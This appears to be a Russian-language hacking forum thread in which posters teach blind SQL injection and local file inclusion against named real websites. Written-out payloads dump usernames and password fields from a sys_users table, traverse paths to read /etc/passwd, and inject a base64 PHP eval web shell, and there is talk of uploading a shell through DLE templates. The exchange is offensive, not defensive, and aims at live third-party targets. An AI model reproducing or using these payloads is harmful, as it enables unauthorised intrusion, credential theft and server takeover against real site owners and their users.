M_script, зачем переменные? Можно и без них обойтись... ReV0LVeR, синтаксис if такой: Code: if(условие,1,0) Тоесть то же, что, например, на пхп выглядит так: PHP: if(условие) return 1; else return 0; Таким образом, если условие == true, то результат будет 1, если же нет - то false. Покажу пример: Code: http://divantvplus.ru/index.html?id=390 and 1=2 union select 1,2,3,4,5,if([U][B]2=3-1[/B][/U],6,0),7,8,9,10,11-- Условие - то, что подчёркнуто и выделено, т.е. 2 = 3 - 1. Естественно, что это правда (true), и поэтому, в 6 колонку подставится значение 6. Если бы это была ложь (false) - вернулся бы 0, и, соответственно, страница бы не загрузилась. Code: http://divantvplus.ru/index.html?id=390 and 1=2 union select 1,2,3,4,5,if(1=2,6,0),7,8,9,10,11-- А дальше идёт посимвольный перебор значений. Об этом читай на ачате =)
Code: http://divantvplus.ru/index.html?id=390 and ascii(substring((SELECT concat(sys_users.user_id,0x3a,sys_users.user_name,0x3a,sys_users.super,0x3a,sys_users.admin,0x3a,sys_users.user_login,0x3a,sys_users.user_password) FROM divantvplus.sys_users LIMIT [B]1,1),16,1))<79[/B] тут все таблы нужные вытащенные посимвольным перебором, остальное перебирай дальше сам... P.S как я показал.
Для сокращения длины запроса. Потому что 4 различных состояния страницы, а не 2 PHP: if(x>2) { if(x>3) { return 4; } else { return 3; } } else { if(x>1) { return 2 } else { return 1; } }
Один символ, начиная с первого. 2,1 - один символ, начиная со второго. 1,2 - два символа, начиная с первого. Середина диапазона 0-255. Середина диапазона 128-255. Это условие проверяется, если первое условие x>128 выполнено. Середина диапазона 0-128. Это условие проверяется, если первое условие x>128 не выполнено. Значения 0,1,5,6 попадая в поле 6 запроса дают различный вывод страницы. Если выводится страница, соответсвующая 0, код символа находится в первом диапазоне 196-255 Если выводится страница, соответсвующая 1, код символа находится во втором диапазоне 128-196 Если выводится страница, соответсвующая 5, код символа находится в третьем диапазоне 64-128 Если выводится страница, соответсвующая 6, код символа находится в четвертом диапазоне 0-64 Найденный первым запросом диапазон так же делится на 4 части (в примере - 64-80, 80-96, 96-112, 112-128). Такое деление продолжается до тех пор, пока диапазон не будет ограничен одним числом. Диапазон 0-255 я привел для примера, так как он универсальный. На практике все зависит от того, какое значение нужно получить.
Да способы не изменились в принципе - правка шаблонов, правка плагинов, загрузка файлов(не всегда прокатывает)
в паблике ничего серезного нету, разве что тока пассивка xss баги надо искать в сторонных компонентах
как залить шелл через шаблон. на дле 8.5? и можно ли это сделать? в сет есть несколько вариантов как это сделать но пока ни один не помог
Ну так даже в ошибке же написано о_0 http://www.guitars.ru/01/info.php?z828'z../../../../../../../../../../../var/www/mstia/data/www/guitars.ru/01/info.php Увы, но allow_url_include там off... http://www.guitars.ru/01/info.php?data:;base64,PD9waHAgZXZhbCgkX0dFVFtjbWRdKTsgPz4= Вот, советую к прочтению: http://www.xakep.ru/post/49508/default.asp
Почему /etc/passwd не выводится? http://www.guitars.ru/01/info.php?z828'z../../../../../../../../../../../etc/passwd%00
Null-байт там не нужен, ничего же не добавляеться. /etc/passwd - не читает потому что там написано, что не разрешено выполнять инклюд данного файла "Operation not permitted".
почему именно столько диров + к ним еще документ рут? ваще не могу понять как вычислить длину этих диров ../../
../ эта штука на сколько каталогов надо подняться наверх например есть сайт site.ru/article.php?list=1 и такой путь до article /usr/www/site.com/article надо подняться на 4 каталога вверх Вообще почитай об иерархии файлов в nix системах